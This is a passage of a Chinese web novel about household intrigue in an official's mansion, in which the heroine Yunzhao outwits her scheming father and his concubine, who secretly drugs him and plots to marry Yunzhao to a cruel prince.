姜珩长歪成如今这副德性,当真只是完整继承了姜世安的容貌才学,还有那份刻在骨子里的薄情寡义?
姜珩更是怒不可遏:“姜云昭!你莫要血口喷人!我与你一样,都是父亲与母亲所出的嫡出血脉!我是这尚书府名正言顺的嫡长子!此事绝无虚假!”
云昭面不改色:“哦。”
心里却暗叹:可惜了。
瞧他这副一天到晚以尚书府为天的模样,若是哪天揭穿他根本就不是姜家的孩子,对他来说,岂不是天都塌了?
那才真是天大的乐子。
姜世安强压怒意,对着苏氏摆出一副诚恳姿态:“夫人,我方才说心儿也是你我的孩子,这句话是出自真心。当年我与梅氏……不过是一时酒后糊涂。这些年来,我始终心怀愧疚,生怕惹你伤心,这才一直不敢明言。”
苏氏泪如雨下,声音哽咽:“到头来,原来我才是那个被蒙在鼓里的傻子......”
她哭得越是委屈可怜,姜世安心头反倒越发笃定。
当众揭穿姜绾心的身世,看似愚鲁,实则走了一招妙棋——
须知脓包就要趁早挑破,祸患须得扼杀在萌芽之中。
若他坚决不认,世人只会对姜绾心的出身更加猜疑。
太子再怎么中意心儿,也绝无可能娶一个来历不明的孤女!
比起身份存疑的养女,一个合法的妾室所出、自幼记在嫡母名下的女儿,本质上与云昭这样的嫡女已无分别!
尤其今日,心儿还得了闻空大师那般祥瑞的命批……
姜世安心头笃定,只觉时机来得恰恰好。
更何况,他方才那番说辞,等于将梅氏的生死交到了苏氏手中。
苏**是聪明人,必定明白他的良苦用心。
苏氏连连摇头,抚着额头几欲晕厥:“我头好疼……”
云昭道:“莺时,雪信,还不快过来扶夫人回去歇息。”
老夫人却还没弄清楚状况,拄着拐杖怒骂:“苏氏,你别给脸不要脸……”
“祖母,”云昭截断她的话,冷颜道,“我母亲乃是陛下亲封的三品淑人。您就算对她有意见,也不该如此以下犯上。
常公公还在旁看着呢!祖母此举,未免太失我们尚书府的体面了。”
常公公不阴不阳地呵呵一笑,心下暗忖:不愧是秦王看中的人,这张小嘴当真厉害。
过了今日,他们尚书府还有什么体面可言?只怕要成为全京城茶余饭后的笑柄了!
老夫人何曾受过小辈这般顶撞,当即气得破口大骂:“你这个小贱蹄子……”
姜世安见常公公脸色愈发阴沉,急忙拽住老夫人:“母亲年事已高,不过是忧心家中小辈,一时情急口不择言,还望公公莫要见笑。”
说着,他又转向常公公,勉强挤出一丝笑容:“家中尚有琐事要处理,今日就不留公公喝茶了。”
常公公冷笑一声:“姜大人好大的派头!圣旨都不接,就要撵杂家走?”
姜世安先是一愣,随即大喜过望,连忙跪地:“臣接旨!”
老夫人连连点头,满脸欣慰:“陛下圣明!终于知道我儿是冤枉的了!”
姜珩也跟着跪下,他眸色阴鸷,朝云昭投来一个等着看她倒霉的眼神。
姜绾心与梅柔卿双双跪地,动作都干脆利索得很。
常公公一脸无语地看着这一大家子,心里直摇头:以前只觉得姜世安迂腐爱装,不想阖府都是糊涂东西。
能生出云昭这样的女儿,可见还是苏氏的言传身教。
只可惜苏老大人……那位曾经执掌科考、修纂文典的清流领袖,曾得两代帝王倚重,自那次科考舞弊风波后便不再上朝。
到如今,只守着个日渐没落的竹山书院,当真是可惜了。
常公公见这一大家子都跪下接旨,他慢悠悠地开口:
“传陛下口谕:赏姜氏云昭玉如意一对,东海明珠十斛,云锦十匹,以嘉奖其协助京兆府侦破桃花煞一案之功。望尔今后继续为朝廷效力,不得藏私。”
云昭从容叩首:“臣女谢主隆恩。”
随即搀扶着目露欣慰的苏氏起身。
一旁的莺时和雪信喜形于色,瞬间挺直了腰杆儿。
就连站在稍远处的严嬷嬷也难掩满脸的与有荣焉,与姜家众人难看的脸色形成鲜明对比。
姜世安瞠目结舌,整个人僵在原地。
姜珩同样身形僵硬,一时甚至忘了起身,方才的得意荡然无存。
老夫人则张大嘴巴,一手指着云昭,半晌说不出话。
姜绾心更是浑身发抖,泪珠直在眼眶里打转。
“陛下怎可如此!”姜绾宁突然嘶声喊道,“姜云昭她害**我娘!”
云昭故作惊讶地看向姜绾心和梅柔卿:“妹妹和梅姨娘竟没与家人说明白吗?二婶她在寺庙与男子......”
“云昭!”姜世安急忙打断,对上女儿清冷的目光,不自觉地软了语气,“今日之事,是为父误会你了。都是为父不好,快扶好你娘亲,随为父回家吧。”
云昭淡淡道:“父亲偏听偏信,这已不是头一回了。”
她声音清脆悦耳,说出来的话却全然不似女儿对父亲的口气,反倒像是上位者在敲打下属,“父亲,杨氏的事虽不便外传,但自家亲戚,总该说个明白。”
她抬手一指姜绾宁:“否则像她这样,当街行凶,外人还不知要如何议论咱们尚书府的家风。”
说着,她语气微沉,面上流露出几分后怕,“更何况,今日她可是险些伤着常公公。若非常公公他身手了得,只怕此刻……”
常公公哼了一声:“杂家今日也算见识了。”
姜世安神色一凛,后背竟沁出些微冷汗。
今日姜绾心与梅柔卿回府时,只顾着绘声绘色地讲述碧云寺中闻空大师的批命——
将姜绾心的命格说得天花乱坠,而对云昭的批语则极尽贬低之能事。
他与老夫人被这突如其来的“喜讯”冲昏了头,竟未过多留意姜绾宁与姜珏的异状。
如今细细想来,这姐弟俩情绪如此失控,其中定然有人暗中挑唆……
他目光冷厉地扫向梅氏,却见这往日总是温柔似水的女子,此刻竟一反常态地低垂着头,不知在思量什么。
姜绾心则红着眼圈,小脸惨白如纸。显然是被他方才当众揭露身世之事伤透了心。
姜世安只觉得
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浑身都不自在起来。
明明府中皆是喜事——
小女儿得了闻空大师的批命,不日便可风光嫁入东宫;
嫡女又得陛下赏识,赏下这许多珍宝。
可偏偏他就是如坐针毡,仿佛有什么东西正悄然脱离掌控。
云昭适时上前,从容地搀住常公公的手臂,语气温婉:“辛苦公公陪云昭走这一趟,不如进府喝盏新茶歇歇脚?”
常公公笑眯眯地摆了摆手。
他端出威严的姿态,目光在姜家众人脸上意味深长地转了一圈:“不必了。杂家看云昭小姐今日怕是有的忙,就不叨扰了,还得赶回宫向陛下复命呢。”
待常公公的仪仗远去,姜府门前顿时陷入一种诡异的寂静。
方才还喧闹不已的百姓们也都屏息凝神,无数道目光在姜家众人之间来回逡巡。
正在这时,一群扎着总角的小童追逐着卖糖果子的小贩,嬉笑着穿街而过。为首的孩童举着刚得的糖人,清脆的童音在寂静的街道上格外响亮:
“金丝雀,困朱门;真凤凰,耀九宸。雀儿啾啾啼不住,凤凰振翅动乾坤——”
这童谣朗朗上口,后面的孩童也跟着齐声唱和,稚嫩的嗓音在姜府门前回荡不休。
姜绾心本就神情恍惚,听到这童谣,脸色“唰”地惨白如纸,连退两步险些跌倒。
就连一直低垂着头暗自怨恨的梅氏也猛地抬起头,难以置信地望向那群孩童。
苏氏听到其中“凤凰”二字,不禁攥紧云昭的手,声音微颤:“昭儿,那群孩子唱的是什么?”
府前围观的百姓顿时哄笑出声,议论声此起彼伏:
“这童谣都传了半日了,满京城的小儿都会唱!”
“金丝雀困朱门,真凤凰耀九宸——这说得再明白不过了!”
“这一家子可真够糊涂的。捧着鱼目当珍珠,却把真正的明珠往外推!”
“从前都说姜二小姐是‘小福星’,可依我看,还是这位嫡女沉稳大气,才是真正有福之人!”
众人指指点点的议论声中,姜家众人个个面如土色。
姜世安气得脸色铁青,猛地一甩袖袍转身就走。
老夫人拄着拐杖踉跄跟上,姜珩搀扶着摇摇欲坠的姜绾心,梅氏则低着头匆匆随行……一行人狼狈不堪地往府内走去。
云昭却不急不缓,招呼雪信上前,将袖中几张精致的帖子递给她:“分别送到英国公、承义侯和康乐伯府上。”
她又向苏氏要了些银钱交给雪信,“去雇一辆好些的马车,莫要走着去。”
雪信会意地点头——这是要彰显自家小姐的体面,绝不能让人看轻了。
云昭这才与苏氏相携进府。
不想一直混在人群中的三房温氏越走越慢,待进了府门,朱红大门“吱呀”一声关上,她突然“扑通”一声跪倒在云昭面前:
“我知道,从前是我不对,眼睁睁看着他们作恶,却因懦弱不敢出声,实在对不住你们母女……”她声音哽咽,瘦弱的肩膀不住颤抖。
“这些年来,我夜夜难眠,一想到大嫂被他们那般对待,就愧疚得心如刀绞……可我们一家子都要靠着大伯,我实在不敢……”
她哀声道:“我只求昭姐儿发发慈悲,救救我的绾棠!”
云昭眸光一凝:绾棠?那个冒着风险,偷偷给她递纸条告知苏氏被囚禁之处的小姑娘?
她俯身扶起温氏:“三婶快快请起。你方才说,绾棠妹妹怎么了?”
第83章 梅氏的丑事
“就在大嫂你们去碧云寺的第二天,我带着绾棠和绾荔回她们外祖家探望。
回来路过朱雀街时,绾棠瞧见路边书肆到了一批新书,眼睛都亮了。我便给了她一块碎银,让她自己去挑,带着绾荔在街对面的糖水铺子等她。”
温氏强忍哽咽,继续道:“可那孩子回来时,脸色就有些不对。说是方才在书肆门口,不小心撞翻了一个老婆子的竹篮,那婆子不依不饶,非要她买下一道皱巴巴的黄符。
绾棠不肯,那婆子便扯着她的衣袖不放。孩子胆小,最后只好将买书的钱全数赔给了那婆子。”
云昭一开始还神色如常,待听到“婆子”、“竹篮”、“黄符”等字眼时,眸色骤然一凝。
在赵悉的严令督办下,满京城皆知,若此前误买了“桃花符”、“同心符”,务必上交京兆府处置。
可这其中的关窍与厉害,除了当日碧云寺在场的官眷贵女,寻常百姓绝无可能知晓得如此详尽!
“当时我只当是遇上了讹人的刁婆子,专挑小姑娘欺负,心下虽气,却也未曾深想。便又取了银钱,带她折返书肆,挑了几本她喜欢的。”
温氏说到这里,声音愈发颤抖,“可谁曾想……当晚,绾棠就不对劲了。”
苏氏听得连连蹙眉:“如何不对?可是白日里受了惊吓,发起热来了?”
“若只是寻常发热,我何至于此!”温氏泪水涟涟,
“那天半夜,约莫过了子时,她忽然从梦中惊坐而起,双眼直勾勾地盯着窗外,嘴里喃喃说着‘时候到了’,非要起身往外走。
我将她拦下,她便闭着眼哭闹不休,力气大得骇人,险些将我掀倒在地……
绾荔被她姐姐这般模样吓得缩在床角,也跟着啼哭不止,那一夜,院子里简直是鸡飞狗跳!”
云昭心头猛地一跳——
几日前在碧云寺,承义侯夫人也曾忧心忡忡地提及,府上老夫人自上月起,每逢子时三刻必醒,已闹腾了月余,遍请名医皆束手无策。故而想托她前去瞧瞧。
当时她已应承,待佛诞日事了便过府一看,方才让雪信去递帖子,也正是为了此事。
彼时她猜测,或许是府中无意变动了风水格局,或是新添了某件物件,故而冲撞了老夫人。
万万没想到,她尚未踏足承义侯府,自家三房竟先出了这般诡谲之事!且似与桃花煞一案紧密相连!
“接下来几日,每逢子时三刻,绾棠妹妹都会准时醒来,哭闹不休?”云昭沉声问道,心中已有了不好的预感。
“正是!一日不差!”温氏眼中满是惊惶,连嘴唇都在哆嗦,“我想去城外道观请位**来看看,可夫君却斥我杞人忧天,妇人之见。说是小孩子家白日受了惊吓,过几日便好。”
她用力摇头,泪水纷飞,“可我自己的女儿我清楚!绾棠平日是有些怯懦,但那是因为我们三房没出息,她在这府里活得小心翼翼、看人脸色!她的本性原是个活泼开朗的孩子……
自那日后,她一日比一日沉默,那眼神……有时呆滞冰冷得让我这个做娘的都害怕!”
她抓住云昭的衣袖,像是抓住最后一根救命稻草,几乎要跪下来:“这几天街上都在传,那骇人的桃花煞一案,是昭姐儿帮忙破的,如今更连陛下都赏识。我想大姑娘必定有些真本事在身上!三婶求求你,救救绾棠吧!”
“三婶不必如此。”云昭扶起温氏,沉吟片刻,眸色凝重:“妹妹现在何处?白日里情况如何?”
“我将她拘在我院中的东厢房里,让信得过的嬷嬷和丫鬟日夜不错眼地守着。”温氏忙道,“白日里倒与常人无异,只是比往日更沉默些,可一入夜,到了时辰便……”
“务必看好妹妹,若有任何异动,立刻命人来报我。”云昭当机立断,“今晚子时前,我会亲至汀兰苑查看。”
温氏连连点头,无有不应。
几人一同往内院走去,温氏稍稍落后半步,声音轻柔却清晰,带着一种豁出一切的冷静:“大嫂既有决断,纳梅氏为妾之事,便需尽快操办,宜早不宜迟。”
温氏生的眉目温柔,平日里总一副唯唯诺诺的模样,此刻分析起局势却条理分明,“迟则生变。梅氏与老夫人经营多年,不到最后一刻,绝不会甘心认输。”
云昭顺势追问:“如今府上是如何传二婶杨氏之死的?”
温氏叹了口气,低声道:“还能怎么说?都在传二嫂去寺里寻你给老夫人瞧病,你非但不肯回来,还当众给她没脸……结果当晚杨氏人就没了。如今话里话外,都暗示是你言语相逼,才让她一时想不开……”
姜绾宁和姜珏那对姐弟俩,便是这般被撺掇起来,对云昭动刀子拼命的。
云昭眼底寒光一闪,沉吟道:“三婶,府里哪个婆子最爱搬弄口舌,你可清楚?”
温氏略一思索便道:“后厨帮佣的钱婆子,贪杯又嘴快
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;还有原先在杨氏院里伺候、如今被打发到浆洗房的刘婶子。”
她细细分说:“那钱婆子,私下最爱去‘猫儿胡同’尽头那家小酒馆吃酒扯闲篇儿,几杯黄汤下肚,什么话都敢往外掏。”
“刘婶子则是府里有名的‘顺风耳’,无事也要搅起三尺浪,专爱在下人堆里传是非,就为显摆自己消息灵通,以此捞些好处。”
云昭取出些银钱塞给温氏:“那便寻个妥当由头,赏钱婆子些酒钱,让她今晚务必去猫儿胡同喝个尽兴。”
她唇角掠过一丝冷意。
杨氏在碧云寺忘尘阁与堂兄杨振那桩丑事,还有众女眷对梅氏当晚行径的怀疑,此前只因佛诞日寺中暂闭,勉强压住了风声。
如今佛诞日事毕,各府夫人小姐尽数归家——这般炸裂的秘闻,哪里还瞒得住?
只怕不到明日清晨,就要传遍京中高门!
云昭又道:“至于那刘婶子……她不是自诩消息灵通么?正好,就让喝高了胡吣的钱婆子,‘无意间’撞到她常去的浆洗房附近,好好与她分说分说——
杨氏当日究竟为何急着去寺中‘求医’,那忘尘阁里,又到底藏着什么见不得光的勾当!”
温氏虽还不知当晚在忘尘阁的个中细节,但对云昭的用意心领神会,她郑重点头:“我明白,这就去安排。”说罢便与云昭、苏氏道别,匆匆往汀兰苑的方向去了。
见温氏走远,云昭挽住苏氏的手臂,轻声问:“母亲可觉得疲累?若是……”
“不累。”苏氏摇头,目光坚定,“温氏说得在理,梅氏的纳妾礼,耽搁不得。正好趁热打铁。”
云昭微微一笑,眸光锐利如出鞘之剑:“也好。母亲便跟我一同往堂屋去瞧瞧吧。”
方才那群人一个个跑得比兔子还快,想必此刻正聚在某处,又惊又怒,方寸大乱。
她淡声道:“趁着如今家中尚且不知杨氏与梅氏的那些丑事,刚好趁此机会,先当着全家的面,订下梅氏的纳妾礼。另外,母亲的嫁妆单子,连同库房钥匙,今日也要一并拿回来。”
姜世安此刻想必正焦头烂额,既要安抚家中上下,又要绞尽脑汁思索如何向太子解释今日这场闹剧,更要担心常公公回宫后陛下的态度……
此时的他,绝无暇他顾,正是她们母女俩出手的最佳时机。
等到了明日,忘尘阁的事闹得满城风雨,想必姜家众人的脸色,一定很精彩。
第84章 这婚事,不能成!
堂屋里早已乱作一团,乌烟瘴气。
老夫人歪在榻上,一手抚着胸口,一手揉着太阳穴,哼哼唧唧地嚷着头疼胸疼,非要请那个与她沾亲带故的翟大夫来看不可。
梅氏垂手立在一旁,看似低眉顺眼,今日却破天荒地像个木头桩子,既不递水,也不劝慰,只眼神空洞地望着地面。
姜绾心则将那张梨花带雨的小脸埋在姜珩的手臂上,哭得肩头轻颤,好不可怜。
而姜珩的脸色却有些古怪。
他身子微僵,眸光闪烁不定,似有挣扎,却终究没有推开紧紧拥住他手臂的姜绾心。
苏氏一脚踏进来,正瞧见这副不成体统的景象,当即沉下脸,声音冷冽如冰:
“今日经你父亲当众说清,事情已然分明。你们两个既是亲兄妹,血脉相连,便该顾着些男女大防,恪守礼数,这般拉拉扯扯,成何体统!”
话未说完,一旁的老夫人已像被踩了尾巴的猫,猛地坐直身子,尖声斥道:“自己眼睛肮脏,看什么都觉着龌龊!哪有做亲娘的,这般往自己亲生儿女身上泼脏水的!”
苏氏寸步不让,目光如刀锋般扫过梅氏,最后落在姜绾心身上:“心儿可不是我肚子里爬出来的,她真正的娘亲正杵在眼前呢。我管不了她,还管不了我自己儿子?”
姜珩也皱紧了眉头,语气带着不耐:“母亲,心儿今日在外已受尽了委屈,丢尽了脸面。不管怎么说,她自小也是在您膝下承欢,叫了您十几年母亲的,您就少说两句,宽厚些吧。”
苏氏气极反笑:“难道是我逼着你们跑到大门口去吵去闹的?
还不是你们一个个以为昭儿被陛下申斥,上赶着要到外人面前抖威风,想给我昭儿没脸!
不成想,最后丢尽颜面、沦为全城笑柄的,正是你们自己!”
此言如同一个响亮的耳光,抽得在场众人脸色骤变。
姜世安更是面沉如水,额角青筋隐隐跳动。
一片难堪的死寂中,云昭却轻轻开口,声音温婉柔和,与这剑拔**张的气氛格格不入:“兄长,娘亲这般规劝,句句都是为了你的前程着想啊!”
她转向姜珩,眼神恳切,“你可知方才回来的路上,娘亲一直都在与我商议,知道你心仪宜芳县主,想过几日趁着郡公府上举办‘赏荷宴’,便亲自出面,帮你把这桩姻缘彻底定下来呢。”
此言一出,苏氏不由侧眸,惊讶地看向女儿。
“当真?”姜珩顿时忘了方才的不快,眼中迸发出惊喜的光芒,急切地看向苏氏。
姜世安阴沉的脸色也瞬间缓和了许多,捋须颔首:
“珩儿,你看看!你母亲如今身子骨见好,回到家中第一桩事,便是操心你的终身大事。还不快向你母亲赔个不是!”
姜珩立刻整了整衣袍,上前一步,朝着苏氏深深一揖,言辞恳切,姿态放得极低:
“母亲恕罪!是孩儿糊涂,此前被那些刁奴蒙蔽,竟不知母亲竟被那起子黑心肝的贼人调换,受了天大的委屈!
孩儿心中其实无一日不惦念母亲,只恨自己愚钝,未能早日识破奸计,护母亲周全。万望母亲宽宏大量,原谅儿子这一回!”
他越是说得情真意切,苏氏心底那股寒意便越是刺骨,她强忍着翻涌的情绪,才没当场冷下脸来。
云昭悄悄在袖下捏了捏母亲的手臂,示意她稍安勿躁,转而继续对姜世安和老夫人道:“父亲,祖母。母亲方才那样说兄长和心儿妹妹,实则是一片苦心,全然是为了兄长的婚事考量。
不然,届时到了丹阳郡公府的赏荷宴上,宾客云集,若心儿妹妹还像此刻这般与兄长举止亲昵,不加避忌,落在县主眼中,怕是要引起不必要的误会和嫌隙!”
这话说得入情入理,连向来处处挑刺的老夫人,也忍不住赞同地点了点头:“昭丫头这话说得在理。心儿啊,待那日到了郡公府上,你可要知晓分寸,谨言慎行,断不可再像在家中这般随意了。”
姜绾心委委屈屈地绞着帕子,低声道:“祖母,心儿明白了。”
她抬起泪眼,满是孺慕地望向姜珩,“心儿也一心盼着兄长好,若能得一门显赫姻亲,兄长前程似锦,心儿……心儿也替兄长高兴的。”
老夫人满意地嗯了一声:“正是这个话!若能得丹阳郡公这般位高权重的岳丈提携,珩儿未来的仕途,必定畅通无阻,平步青云!”
姜世安也肃然叮嘱道:“珩儿,此次赏荷宴关系重大,你须得处处留心,一言一行都要大方得体,务必要给县主留下个好印象。
须知刑部侍郎陶远之那边,也一直盯着这门亲事,妄图与他家那个不成器的儿子争抢,你切莫掉以轻心,给了旁人可乘之机。”
云昭冷眼看着这一大家子人精打细算、趋炎附势的嘴脸,心底的冷笑几乎要溢出唇角。
促成这门婚事?岂非是眼睁睁看着那位宜芳县主,步上母亲当年的后尘,跳入姜家这滩污泥深陷的火坑?
这婚事,不仅不能成,还要让它毁得人尽皆知,彻彻底底地,将姜珩那点虚伪的骄傲,踩进泥泞里!
见姜家众人个个面露向往之色,苏氏这时轻轻整理了下衣袖,柔声道:“夫君,为了珩儿的前程着想,梅姨娘的纳妾礼还需尽早办起来才是。
择日不如撞日,我看——就定在明日吧!”
“明日?”
“这、这也太仓促了!”
此言一出,满堂皆惊。
尤其姜珩和姜绾心兄妹俩反应最为激烈!
姜绾心当即红了眼眶,望向木然站在老夫人身侧的梅柔卿:
“母亲,再过一会儿天都要黑了,街上那些像样的铺子早就关了门。明日就要办礼,这……这未免太过匆忙了。”
姜珩也急忙劝阻:“母亲,赏荷宴就在几日之后,此事要不要还是等宴席过后再……”
“不能等!”云昭斩钉截铁地打断。
姜绾心咬着唇,泪珠在眼眶里打转:“阿姊,你未免也太霸道了。就算你想替母亲抱不平,也该考虑考虑兄长的前程啊!”
姜珩眸中阴霾骤起,虽未开口,但那紧抿的唇线和冰冷的眼神,已将对云昭的恼恨表露无遗。
云昭却不急不恼,轻轻叹了口气:“想必这满堂之中,唯有父亲最能明白昭儿的苦心。”
她抬眸望向姜世安,一字一句,抽丝剥茧般剖析道,“今日当着那么多百姓的面,爹爹与阿娘是如何分说的,想必不到明日,就会传得街知巷闻。
宜芳县主一向对兄长青眼有加,咱们府上这般动静,岂能瞒得过郡公府的耳目?”
说到此处,她幽幽一叹,眉间凝着恰到好处的忧色。
姜世安眸色深沉地凝视着云昭,良久方道:“昭儿思虑得周全。此事……确实宜早不宜迟。”
他环视众人,语气渐沉,“对内,此事既是对你们母亲有个交代,也能让梅氏得个正经名分。对外……”
苏氏立即摆出一副贤良淑德的模样,温顺地接过话头:“对外,此事只要办得名正言顺,说起来也不算什么。”
她抬眼望向姜世安,目光中满含着恰到好处的倾慕,“夫君身为堂堂礼部尚书,二品大员,这些年与我相濡以沫,从未有过什么乱七八糟的牵扯。
时至今日
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,也不过只纳这一个妾室,已然给足了我这个正妻体面。”
她这番话说的滴水不漏,既彰显了自己的大度,又抬举了姜世安的地位。
站在不远处的梅柔卿,袖中的指甲几乎要掐进掌心,眼底掠过一丝难以察觉的寒芒。
而上首的姜世安,却被苏氏这番话深深触动。
他目光柔和地望向苏氏,语气中带着罕见的温情:“夫人深明大义,处处为为夫、为这个家着想。得妻如此,夫复何求?”
云昭将姜世安这副深受感动的模样尽收眼底,心底一片冷嘲。
她温声道:“我记得,母亲的嫁妆箱笼里,似乎收着几套做工精致的裙袍,从未上过身,色泽也喜庆,拿来给梅姨娘明日穿戴,倒是再合适不过了……”
苏氏蹙着眉,故作不悦地嗔了她一眼:“你这孩子……”
姜世安闻言,眼底闪过一抹精光,随即露出欣慰之色。
他看着苏氏道:“昭儿说得在理。夫人,如今你身子已然大好,府中中馈之事,理应交由你这个当家主母执掌。”
他转而对姜绾心吩咐道,“心儿,去你房里,将此前你二婶交予你的那些账册、对牌、库房钥匙,一并取来,交还给你母亲。”
苏氏一脸感动:“妾身多谢夫君信任。”
她目光复杂看向姜绾心,语气带着几分刻意的宽容与期许:“罢了,终究是我亲眼看着长大的孩子。夫君放心,接下来妾身定会尽心竭力,好好教导心儿掌家管账的事。
若……接下来,真能有幸得东宫垂青,总也不辜负夫君今日的一番苦心与期许。”
姜绾心原本因交还管家权而有些怏怏不乐,听到这顿时欢快起来:“心儿多谢母亲!定会跟着母亲好生学习!”
云昭站在一旁,面上不动声色,心底却猛地一沉。
姜世安如此痛快地同意交出掌家权,绝不可能仅仅是因为方才母亲那几句“体贴”之言。他究竟在盘算什么?
苏氏见目的已达,便柔声道:“夫君,那妾身这就下去张罗明日之事了。”
言罢,她携着云昭,姿态优雅地转身离去,留下一室心思各异的众人。
身后,老夫人嘀咕了句:“这苏氏,简直像是换了个人。”
姜珩却道:“祖母,孙儿倒觉得,如今的母亲,知情识趣,比过去那清冷模样,讨喜多了。”
这话听得已走到门边的苏氏心底发寒——她这儿子,如今竟被姜家教养得全无心肝!
*
书房内,烛影摇动。
姜世安屏退左右,独自搂着默默垂泪的梅柔卿坐在自己腿上,手指轻轻抚过她的背脊,语气是前所未有的温柔:
“卿儿,莫要伤心了。今日之事,实乃权宜之计。你放心,在我心里,无人能及你分毫。这掌家权暂且交给苏氏,也不过是安她的心,免得她与昭儿再闹出什么事端,坏了心儿的前程。”
梅柔卿依偎在他怀里,抬起泪眼朦胧的脸,看似感动不已,声音哽咽:“夫君待妾身的心意,妾身岂会不知?只要是为了老爷,为了孩子们好,妾身受些委屈又算得了什么?只是妾身瞧着,昭姐儿……怕是心思太独,不好拿捏呀!”
姜世安眉头微皱:“你的意思是?”
梅柔卿假意为他整理衣襟,柔声细语,却字字诛心:“老爷,妾身说句不当说的。一个女子,任凭她再有本事,心气再高,终究是要嫁人的。
一旦所嫁非人,落入那虎狼窝里,任她有通天的本事,也不过是釜底游鱼,有的是苦头等着她吃。
到那时,她自然就知道,唯有娘家,才是她唯一的依靠。”
第85章 以聆听她们的哀嚎为乐
“话虽如此……”姜世安眼神闪烁,显然被说动了心思,却又有些犹豫,
“可昭儿如今颇得圣心,又与长公主、秦王交好,若运用得当,于我姜家乃是极大的助力。就此当作弃子,未免可惜了……”
梅柔卿心中冷笑,面上却愈发体贴温顺,如同一朵处处替姜家前程谋划的解语花:
“老爷,您细想想,昭姐儿此前确实得了长公主几分青眼,但她可曾切实为咱们姜家、为您这一家之主,谋划过什么实际的好处?
恰恰相反,她靠山越大,骨头越硬,每次回到家,莫说对妾身这半个长辈,便是对着老夫人,言语间都不免带出几分颐指气使,何曾将咱们姜家真正放在眼里?”
她观察着姜世安的神色,细细分说,字字句句都往他心窝里钻:
“至于秦王殿下,妾身冷眼瞧着,他看中的,恐怕也就是咱们昭姐儿那手金针之术。
可秦王那头疼的顽疾,连太医院院正都束手无策,昭姐儿的金针再妙,恐怕也只能暂时缓解。
等过些日子,秦王寻到更高明的医者,或是失了耐心,她这点用处,怕也就到头了。”
姜世安眉头紧锁,若有所思。
梅柔卿见状,不由又添了把火,声音压得更低:“老爷莫非忘了今日那则批命?还有外头那些孩童念的童谣……”
“说起这个!”姜世安被戳中了心事,猛地抬眼,语气带着烦躁,“今日外头那些孩童念的什么‘金丝雀,困朱门;真凤凰,耀九宸’……这童谣究竟是怎么一回事?”
他原本对姜绾心那“朱雀栖金阙”的批命颇为自得,但一想到方才在门外受到的指点和嘲笑,就如芒在背,坐立难安。
若此事传到太子耳中……
“老爷莫急,依妾身浅见,这童谣非但不是坏事,反倒更能托举咱们心儿嫁入东宫呢!”
姜世安将信将疑地看向她。
“依妾身看,这传童谣的背后之人,十有**就是昭姐儿自己!
所谓的‘金丝雀,困朱门’,无非是她嫉妒心儿得了闻空大师的那句‘朱雀栖金阙’的吉兆,故意编些难听话来贬低心儿。
至于那句‘真凤凰,耀九宸’……”她顿了顿,语气透出几分忧虑,“妾身说句不当听的,昭姐儿这是太托大了!
九宸为何?帝王之居也!如今世上,除了太子这位未来的帝君,还有何人能当得起‘光耀九宸’四字?昭姐儿以此自比,怕是会引来东宫忌惮呐!”
此言一出,姜世安顿时勃然大怒,一掌拍在案几上:“这个孽障!”
梅柔卿轻笑了声,带着几分了然:“昭姐儿再怎么看着沉稳,终究是个十六岁的女孩子。今日在寺里受了气,情急之下给那些无知小童几个铜钱,让他们编排童谣贬低心儿,出口恶气罢了。”
姜世安怒火更炽:“狂悖!贪心不足!只顾着自己逞一时之快,全然不顾家族安危!”
骂完,他眸中又浮现忧虑。
此事想必早晚会传到太子殿下耳中,届时殿下若因此对姜家生出猜忌和不喜,那可如何是好?
梅柔卿姿态柔婉地执起玉壶,为姜世安斟满一盏琥珀色的果子酿。
“老爷尝尝,这是去年秋日,老爷陪妾身摘下的棠棣果所酿,就等着与老爷共品呢。”
待姜世安接过酒盏,她话锋一转,声音愈发轻柔,
“其实,昭儿这般烈性倔强的脾气,有人不喜,也有人为之着迷。权贵之中,不乏有男子就偏爱驯服这等带刺的娇花,以此为乐。”
姜世安狐疑地看向她:“你这话是何意?”
“妾身的意思是,”梅柔卿唇角噙着一抹意味深长的笑,“若能将昭姐儿许给一位这样的贵人,既全了联姻之谊,替老爷铺了路;
也能让太子殿下看到姜家的‘诚意’,解了今日之围;
同时……也能好好磨一磨昭姐儿那不知天高地厚的性子,叫她学会什么叫顺从。”
姜世安闻言,眼底骤然爆出一团精光,一个绝佳的人选瞬间浮上心头——
永熙王萧玦!
当今天子的亲叔父,太子的叔祖父,辈分极高,连秦王见了都要规规矩矩喊一声“叔公”。
此人不仅身份尊荣,更手握实权,其封地“琅琊郡”富庶无比,更独揽一种名为“玄铁晶”的独特矿产。
此物于锻造神兵利器、军工重械上有奇效,堪称国之命脉,一直由永熙王垄断经营,多年来连陛下都要对他礼让三分。
若能通过联姻与永熙王搭上关系,助太子获得玄铁晶的供应,这份从龙之功,何其显赫!
只是这位永熙王年逾五十,权势滔天,却有个难以启齿的癖好——
尤爱折磨才情出众、性情刚烈的年轻女子,以聆听她们的哀嚎为乐。
王府后院年年都有“暴病而亡”的姬妾被草席一卷,悄无声息地抬出去。
若能搭上这条线,不仅能在宗室中获得强力奥援,更能借此向太子献上一份厚礼,表明姜家全力支持东宫的态度。
届时,有永熙王从中斡旋美言,心儿的太子妃之位,岂不是十拿九稳?
更巧的是,每年夏日,永熙王都会回京,一则是为恭贺陛下万寿节,二则也为在京郊的温泉别苑休养,此时正是时机。
姜世安此前心中的郁气一时消散了许多,仿佛已看到通往权力巅峰的康庄大道。
他心情舒畅地接过梅柔卿再次奉上的果子酿,一饮而尽。
这酒液入口甘醇,却隐约带着一丝极淡的、不属于棠棣果的异样甜腥气,入腹后竟泛起一股奇异的
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暖流,迅速游走遍周身,让他通体舒泰,心神愈发松弛。
“还是卿儿深知我心……此事,关系重大,容我好好筹谋。”
姜世安放下酒盏,语气温和了许多,看向梅柔卿的眼神,甚至带上了一丝不易察觉的依赖。
梅柔卿见他应允,又殷勤地为他斟上第三盏。她深知姜世安有个习惯,一旦心情畅快,酒必连饮三盏。
看着姜世安毫无防备地饮下第三盏掺了料的果酿,梅柔卿垂下的眼眸中,闪过某种孤注一掷的决绝寒光。
她已然想明白,与云昭那丫头正面斗法,自己未必能占上风,甚至可能暴露自身。
想要将这偌大的姜家彻底捏在掌心,让所有人都匍匐在自己脚下,最先需要牢牢掌控的,便是眼前这个看似精明、实则利令智昏的男人!
云昭的婚事,正好可以成为她实施掌控的第一步棋,也是献给永熙王和太子的一份“厚礼”!
*
云昭陪着苏氏回到阔别已久的望舒苑。
苏氏站在廊下,望着这处从少女时代便居住至今的庭院,一草一木皆熟悉,却又恍如隔世,不由百感交集。
